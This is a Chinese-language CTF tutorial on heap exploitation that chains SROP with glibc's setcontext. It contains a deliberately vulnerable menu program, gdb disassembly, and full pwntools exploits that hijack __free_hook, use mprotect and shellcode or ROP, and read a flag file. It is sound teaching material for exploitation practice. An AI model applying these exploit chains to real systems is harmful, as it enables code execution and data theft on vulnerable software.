srop搭配高低版本的setcontext
srop技术想来大家应该都是相当熟悉了,它是利用signal 机制,这是一种类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。
其中涉及内核,但是我觉得学到这里的师傅们应该都对其有所了解,简单来说就是利用内核中的一个部分,起到控制所有寄存器的效果
相对应的,我们的libc里面也有一个很类似的函数,setcontext,我们可以看一下样子
pwndbg> info address setcontext
Symbol "setcontext" is at 0x7fab8d034c80 in a file compiled without debugging.
pwndbg> u 0x7fab8d034c80 20
► 0x7fab8d034c80 <setcontext> push rdi
0x7fab8d034c81 <setcontext+1> lea rsi, [rdi + 0x128]
0x7fab8d034c88 <setcontext+8> xor edx, edx EDX => 0
0x7fab8d034c8a <setcontext+10> mov edi, 2 EDI => 2
0x7fab8d034c8f <setcontext+15> mov r10d, 8 R10D => 8
0x7fab8d034c95 <setcontext+21> mov eax, 0xe EAX => 0xe
0x7fab8d034c9a <setcontext+26> syscall
0x7fab8d034c9c <setcontext+28> pop rdi
0x7fab8d034c9d <setcontext+29> cmp rax, -0xfff
0x7fab8d034ca3 <setcontext+35> jae setcontext+128 <setcontext+128>
0x7fab8d034ca5 <setcontext+37> mov rcx, qword ptr [rdi + 0xe0]
0x7fab8d034cac <setcontext+44> fldenv [rcx]
0x7fab8d034cae <setcontext+46> ldmxcsr dword ptr [rdi + 0x1c0]
0x7fab8d034cb5 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0]
0x7fab8d034cbc <setcontext+60> mov rbx, qword ptr [rdi + 0x80]
0x7fab8d034cc3 <setcontext+67> mov rbp, qword ptr [rdi + 0x78]
0x7fab8d034cc7 <setcontext+71> mov r12, qword ptr [rdi + 0x48]
0x7fab8d034ccb <setcontext+75> mov r13, qword ptr [rdi + 0x50]
0x7fab8d034ccf <setcontext+79> mov r14, qword ptr [rdi + 0x58]
0x7fab8d034cd3 <setcontext+83> mov r15, qword ptr [rdi + 0x60]
0x7fab8d034cd7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8]
0x7fab8d034cde <setcontext+94> push rcx
0x7fab8d034cdf <setcontext+95> mov rsi, qword ptr [rdi + 0x70]
0x7fab8d034ce3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88]
0x7fab8d034cea <setcontext+106> mov rcx, qword ptr [rdi + 0x98]
0x7fab8d034cf1 <setcontext+113> mov r8, qword ptr [rdi + 0x28]
0x7fab8d034cf5 <setcontext+117> mov r9, qword ptr [rdi + 0x30]
0x7fab8d034cf9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68]
0x7fab8d034cfd <setcontext+125> xor eax, eax EAX => 0
0x7fab8d034cff <setcontext+127> ret
0x7fab8d034d00 <setcontext+128> mov rcx, qword ptr [rip + 0x36b161] RCX, [0x7fab8d39fe68] => 0xffffffffffffff80
0x7fab8d034d07 <setcontext+135> neg eax
0x7fab8d034d09 <setcontext+137> mov dword ptr fs:[rcx], eax
0x7fab8d034d0c <setcontext+140> or rax, 0xffffffffffffffff
0x7fab8d034d10 <setcontext+144> ret
这是在gdb里面查看的setcontext函数,可以看到,在从setcontext加53的位置开始,就会依次通过rdi指向的位置,来给所有寄存器,除了rax赋值,事实上,rax在这个函数返回前,固定被设置成0
这个时候我们又要
提到free hook这个函数,大家都知道free hook函数里面有数据的时候,free的时候会先执行这个这个函数
我们来看一下free函数的源代码
0x7fab8d3beb71 <free+1> mov rbx, qword ptr [rip + 0x20d550] RBX, [alloc_last_block]
0x7fab8d3beb78 <free+8> cmp rbx, rdi
0x7fab8d3beb7b <free+11> je free+16 <free+16>
0x7fab8d3beb7d <free+13> pop rbx
0x7fab8d3beb7e <free+14> ret
0x7fab8d3beb7f <free+15> nop
0x7fab8d3beb80 <free+16> mov rdx, qword ptr [rip + 0x20d551] RDX, [alloc_ptr]
0x7fab8d3beb87 <free+23> mov rdi, rbx
0x7fab8d3beb8a <free+26> xor esi, esi ESI => 0
0x7fab8d3beb8c <free+28> sub rdx, rbx
0x7fab8d3beb8f <free+31> call memset <memset>
0x7fab8d3beb94 <free+36> mov qword ptr [rip + 0x20d53d], rbx
0x7fab8d3beb9b <free+43> pop rbx
0x7fab8d3beb9c <free+44> ret
这里看的可能不是很明显,但是换成静态汇编就比较明显
在把rdi改成当前堆块地址之后,才会去调用free hook函数,这是时候就会产生利用的地方了,想想看,如果我们在堆块里面布置好SigreturnFrame结构体,就可以搭配setcontext达到几乎为所欲为的效果。除了rax不可以修改,剩下都可以修改,我们来用题目演示一下
2.29以下
setcontext有两种结构,根据版本的高低,上面演示的是低版本的setcontext,我们先以它为例
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
这是题目源代码,为了方便演示,几乎常见的漏洞都会有,使用gcc编译一下程序
gcc pwn.c -o pwn -g
我这里的libc版本是2.27
首先简单的逆向和泄露libc,都是相当简单的操作,我这里就不在过多赘述
from pwn import *
context(arch="amd64", os="linux")
context.log_level = 'debug'
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))
利用largebin去泄露就可以了,重点其实放在后面的伪造上面
我们接利用tcachebins,去任意地址申请,申请到free_hook的位置
add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)
这样的话,我们连续申请两个大小为0x400堆块,申请的第二个堆块就会申请到free_hook,对它进行编辑就会编辑到free_hook
然后放入我们的第一段shellcode
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)
edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))
这里需要解释一下这段shellcode是什么意思,我们想用mprotect函数开辟一段可读可写可执行的区域,但是mprotect函数的第一个参数,必须要页对齐,而%d的功能,是将常数加载到寄存器 rsi
中,%d
通过 Python 的字符串格式化来替换。这里的 %d
是由 libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
表达式计算得出的值。这个值是 __free_hook
的地址按页对齐的结果。
然后布置好free_hook的值。
把chunk1里面放上frame结构体,这样我们free1的时候就会按照frame的情况进行改写,注意把rip改写成mprotect,这样下一句执行语句就是mprotect,然后把栈迁移到free_hook加8的位置,那下一步进入的其实就是我们放的shellcode1
frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))
free(1)
我们把断点下在free函数上,调试看看
这个时候会跳转到free_hook函数上面,而这里被我们放上了setcontext函数加53
接着往下走
setcontext结束之后,它的rip被我们改成了mprotect函数,剩下的寄存器也都按照我们的要求写好了,接着往下就可以把包括free_hook的那一大段都改成可读可写可执行
再次ret的时候,就会回到我们写入shellcode1的位置了,我们当然可以在这里就放上orw,但是有的时候长度不够的情况下,就可以按照这个shellcode进行编写,调用read,和跳转,往别的地方写入shellcode,然后在跳过去
shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()
最后附上完整代码
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))
add(0, 0x400)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)
edit(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))
frame = SigreturnFrame(kernel='amd64')
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7
edit(1, bytes(frame))
free(1)
shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''
io.sendline(asm(shellcode2))
io.interactive()
当然,直接走rop链也是完全没有问题的,这里就不再过多赘述
2.29及以上
在2.29以上的setcontext函数则是有所变化
pwndbg> p setcontext
$1 = {<text variable, no debug info>} 0x7f7775c5bcf0 <setcontext>
pwndbg> u 0x7f7775c5bcf0 20
► 0x7f7775c5bcf0 <setcontext> push rdi
0x7f7775c5bcf1 <setcontext+1> lea rsi, [rdi + 0x128]
0x7f7775c5bcf8 <setcontext+8> xor edx, edx EDX => 0
0x7f7775c5bcfa <setcontext+10> mov edi, 2 EDI => 2
0x7f7775c5bcff <setcontext+15> mov r10d, 8 R10D => 8
0x7f7775c5bd05 <setcontext+21> mov eax, 0xe EAX => 0xe
0x7f7775c5bd0a <setcontext+26> syscall
0x7f7775c5bd0c <setcontext+28> pop rdx
0x7f7775c5bd0d <setcontext+29> cmp rax, -0xfff
0x7f7775c5bd13 <setcontext+35> jae setcontext+128 <setcontext+128>
0x7f7775c5bd15 <setcontext+37> mov rcx, qword ptr [rdx + 0xe0]
0x7f7775c5bd1c <setcontext+44> fldenv [rcx]
0x7f7775c5bd1e <setcontext+46> ldmxcsr dword ptr [rdx + 0x1c0]
0x7f7775c5bd25 <setcontext+53> mov rsp, qword ptr [rdx + 0xa0]
0x7f7775c5bd2c <setcontext+60> mov rbx, qword ptr [rdx + 0x80]
0x7f7775c5bd33 <setcontext+67> mov rbp, qword ptr [rdx + 0x78]
0x7f7775c5bd37 <setcontext+71> mov r12, qword ptr [rdx + 0x48]
0x7f7775c5bd3b <setcontext+75> mov r13, qword ptr [rdx + 0x50]
0x7f7775c5bd3f <setcontext+79> mov r14, qword ptr [rdx + 0x58]
0x7f7775c5bd43 <setcontext+83> mov r15, qword ptr [rdx + 0x60]
0x7f7775c5bd47 <setcontext+87> mov rcx, qword ptr [rdx + 0xa8]
0x7f7775c5bd4e <setcontext+94> push rcx
0x7f7775c5bd4f <setcontext+95> mov rsi, qword ptr [rdx + 0x70]
0x7f7775c5bd53 <setcontext+99> mov rdi, qword ptr [rdx + 0x68]
0x7f7775c5bd57 <setcontext+103> mov rcx, qword ptr [rdx + 0x98]
0x7f7775c5bd5e <setcontext+110> mov r8, qword ptr [rdx + 0x28]
0x7f7775c5bd62 <setcontext+114> mov r9, qword ptr [rdx + 0x30]
0x7f7775c5bd66 <setcontext+118> mov rdx, qword ptr [rdx + 0x88]
0x7f7775c5bd6d <setcontext+125> xor eax, eax EAX => 0
0x7f7775c5bd6f <setcontext+127> ret
0x7f7775c5bd70 <setcontext+128> mov rcx, qword ptr [rip + 0x36f0f9] RCX, [0x7f7775fcae70] => 0xffffffffffffff80
0x7f7775c5bd77 <setcontext+135> neg eax
0x7f7775c5bd79 <setcontext+137> mov dword ptr fs:[rcx], eax
0x7f7775c5bd7c <setcontext+140> or rax, 0xffffffffffffffff
0x7f7775c5bd80 <setcontext+144> ret
可以看到,我们现在的setcontext函数是依靠rdx进行传参,这就意味着我们调用free函数的时候,控制的rdi寄存器对我们的劫持没有了什么用,
很容易想到,我们可以先调用一些gadget,使得rdi与rdx互相转换,但是不幸的是,正常转换的gadget只能劫持一次程序执行流,这也就是说,我们只能进行一次转换,再之后没有办法利用SigreturnFrame结构体进行寄存器的改写了,所有我们需要一种特殊的gadget,这种gadget可以达成两个效果,修改和再一次劫持程序执行流
一般来说,我们会尝试寻找这样两种gadget
mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;
mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];
这两个gadget可以同时达到上述两种效果,一个依靠jmp语句,一个依靠call语句,还是这道题目,我们尝试用这两个gadget都写一下exp
gadget1
前面的泄露就不再多说,此处使用的是Ubuntu 8.4.0-1ubuntu1~18.04的libc,所以在劫持tcachebins的时候要注意,多释放一个堆块,因为这个版本往上的,都是通过tcachebins结构体记录的堆块数量来确定tcachebins链表的,而不是之前那种仅仅依靠fd指针
前面的泄露就不再多说,直接从后面的gadget开始,先用mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;演示一下
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook
在我们劫持完free_hook之后,向free_hook里面填入这个gadget,gadget之后放上我们的rop链。我们先定义一些数据位置
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20
因为payload就放在free_hook及其后面的位置,所以这里直接就是free_hook的地址,然后这个buf其实填的是flag字符串,从free_hook一直到buf里面都放上我们的rop链,然后为了减少长度,我们的SigreturnFrame结构体可以完成open的功能
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
payload = b''
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += bytes(frame)
到这里,算是完成的基本的布局,最后两行是要填充到frame结构体的位置,然后我们先把free_hook改写成我们的payload,把某个堆的数据改写成setcontext+53加上frame结构体地址,free掉它
edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)
我们跟着gdb看看
在我们执行free的时候,我们会先跳转到free_hook,执行放free_hook里面的gadget,这个时候的rdi里面就是我们放在堆里面的数据,也就是setcontext+53,然后执行mov rdx, qword ptr [rdi + 8],要注意的是,这个时候的[rdi+8]里面放的是frame结构体的地址,这个时候的rdx里面就放上了这个地址,其实就相当于完成了从rdi到rdx的转变
然后执行mov rax, qword ptr [rdi],这一句直接把setcontext+53放进了rax里面,因为后面会call rax,相当于call setcontext+53
可以看到,我们会跳转到这里执行,这个时候的rdx就是frame结构体的地址,执行完setcontext之后,会按照frame结构体,接着执行open,read和puts函数,拿到我们的flag
gadget2
那么对应gadget2,其实是一样的思路,前面就不放了,并且写法都相同,要注意的就是我们需要修改frame结构体,需要对其进行类型转换,转换成字节数组,才可以对其进行修改,在ljust到0x100之后,填充如下数据
frame = bytearray(bytes(frame))
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 53)
payload += frame
edit(0, payload)
edit(1, p64(0)+ p64(frame_addr))
free(1)
我们来gdb看一下这个gadget,第一句是一样的,从第二句开始,执行mov qword ptr [rsp], rax,这个时候的rax是我们上一句gadget的地址,这一句没有任何影响,重点看下一句,call qword ptr [rdx + 0x20],这个时候的rdx里面放的是我们的p64(frame_addr),加上0x20的位置被我们改成了setcontext+53,然后就和上面相同,依次执行open,read和puts
最终可以拿到flag
附上完整代码(前半部分的逆向就不再重复了)
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
frame_addr = buf_addr + 0x20
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
payload = b''
payload += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;'), executable=True)))
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
'''
frame = bytearray(bytes(frame))
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 53)
payload += frame
edit(0, payload)
edit(1, p64(0)+ p64(frame_addr))
gdb.attach(io, "b __libc_free\nc")
free(1)
这里注意改写payload的第一行
'''
payload += bytes(frame)
edit(0, payload)
edit(1, p64(libc.sym['setcontext'] + 53) + p64(frame_addr))
free(1)
除了setcontext+53之外,部分gadget是setcontext+61,这一点需要注意